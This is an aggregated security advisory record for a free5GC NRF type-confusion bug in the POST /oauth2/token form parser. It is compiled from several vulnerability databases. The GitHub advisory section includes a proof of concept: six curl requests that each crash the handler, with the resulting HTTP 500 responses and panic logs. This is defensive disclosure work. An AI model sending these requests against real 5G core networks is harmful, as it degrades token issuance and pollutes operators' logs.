free5GC: NRF POST /oauth2/token structured-form parser type-confusion panic family (Reflect.Set on incompatible types)

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free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/api_accesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed *models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable. This vulnerability is fixed in 4.2.2.

Source published

27 May 2026 15:43:34 UTC

Source modified

27 May 2026 17:50:51 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/api_accesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed *models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable. This vulnerability is fixed in 4.2.2.

Source published

May 27, 2026, 3:43:34 PM (timezone not stated)

Source modified

May 27, 2026, 5:50:51 PM (timezone not stated)

Observed here

9 Nov 2026 11:03:48 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

free5GC is an open-source implementation of the 5G core network. Prior to 4.2.2, free5GC's NRF root SBI endpoint POST /oauth2/token contains a parser-level type-confusion bug family. The handler in NFs/nrf/internal/sbi/api_accesstoken.go reflects over models.NrfAccessTokenAccessTokenReq, special-cases only plain string and NrfNfManagementNfType fields, and treats every other field as if it were a single models.PlmnId. The parsed *models.PlmnId is then assigned with reflect.Value.Set() to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into HTTP 500, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable. This vulnerability is fixed in 4.2.2.

Source published

27 May 2026 17:16:37 UTC

Source modified

14 Oct 2026 20:10:00 UTC

Observed here

25 Oct 2026 10:17:21 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

### Summary free5GC's NRF root SBI endpoint `POST /oauth2/token` contains a parser-level type-confusion bug family. The handler in `NFs/nrf/internal/sbi/api_accesstoken.go` reflects over `models.NrfAccessTokenAccessTokenReq`, special-cases only plain `string` and `NrfNfManagementNfType` fields, and treats every other field as if it were a single `models.PlmnId`. The parsed `*models.PlmnId` is then assigned with `reflect.Value.Set()` to whichever field name the attacker put in the form body, which panics whenever the destination field's real type is incompatible (slice, different struct, primitive). Gin recovery converts each panic into `HTTP 500`, but the endpoint remains remotely panicable from a single unauthenticated form-encoded request and is repeatedly triggerable across at least 6 confirmed crashing fields. Note: `/oauth2/token` is unauthenticated by design (it is the OAuth2 token-issuance endpoint). So this is NOT framed as an auth-bypass finding -- it is a parser bug on an intentionally unauthenticated SBI endpoint. ### Details Validated against the NRF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nrf:v4.2.1` - Docker validation date: 2026-03-22 - NRF endpoint: `http://10.100.200.3:8000` Root cause is in the access-token request parser: - `NFs/nrf/internal/sbi/api_accesstoken.go:52` - `NFs/nrf/internal/sbi/api_accesstoken.go:87` - `NFs/nrf/internal/sbi/api_accesstoken.go:98` - `NFs/nrf/internal/sbi/api_accesstoken.go:100` - `NFs/nrf/internal/sbi/api_accesstoken.go:112` The model definition lives in `free5gc/openapi`: - `models/model_nrf_access_token_access_token_req.go:27` - `models/model_nrf_access_token_access_token_req.go:29` - `models/model_nrf_access_token_access_token_req.go:30` - `models/model_nrf_access_token_access_token_req.go:31` The parser's effective shape is: parse value as `*models.PlmnId`, then `dstField.Set(reflect.ValueOf(parsedPlmnId))`. Every destination field that is NOT `string` and NOT `NrfNfManagementNfType` falls into this branch, so any time the destination is a slice (`[]models.PlmnId`, `[]models.Snssai`, `[]models.PlmnIdNid`, `[]string`) or a different pointer type (`*models.PlmnIdNid`), the `reflect.Set` call panics with a runtime type-confusion error. Confirmed crashing fields in this DoS family (all reachable from a single unauthenticated form-encoded POST): - `requesterPlmnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnId` - `requesterSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `requesterSnpnList` -> panic assigning `*models.PlmnId` to `[]models.PlmnIdNid` - `targetSnpn` -> panic assigning `*models.PlmnId` to `*models.PlmnIdNid` - `targetSnssaiList` -> panic assigning `*models.PlmnId` to `[]models.Snssai` - `targetNsiList` -> panic assigning `*models.PlmnId` to `[]string` ### PoC Reproduced end-to-end against the running NRF at `http://10.100.200.3:8000`. Each of the following single requests independently crashes the handler. 1. `requesterPlmnList` -> `[]models.PlmnId` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterPlmnList={"mcc":"208","mnc":"93"}' ``` 2. `requesterSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnssaiList={"mcc":"208","mnc":"93"}' ``` 3. `requesterSnpnList` -> `[]models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'requesterSnpnList={"mcc":"208","mnc":"93"}' ``` 4. `targetSnpn` -> `*models.PlmnIdNid` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnpn={"mcc":"208","mnc":"93"}' ``` 5. `targetSnssaiList` -> `[]models.Snssai` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetSnssaiList={"mcc":"208","mnc":"93"}' ``` 6. `targetNsiList` -> `[]string` mismatch: ``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}' ``` Observed response (per request, no body returned): ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` NRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type: ``` [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token | ``` ### Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755). This is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests. What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history. No Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83

Source published

8 May 2026 22:56:03 UTC

Source modified

25 Jun 2026 19:56:30 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH

free5GC NRF: type-confusion panic in POST /oauth2/token structured-form parser via Reflect.Set on incompatible types in github.com/free5gc/nrf

Source published

25 Jun 2026 18:43:19 UTC

Source modified

25 Jun 2026 19:45:33 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.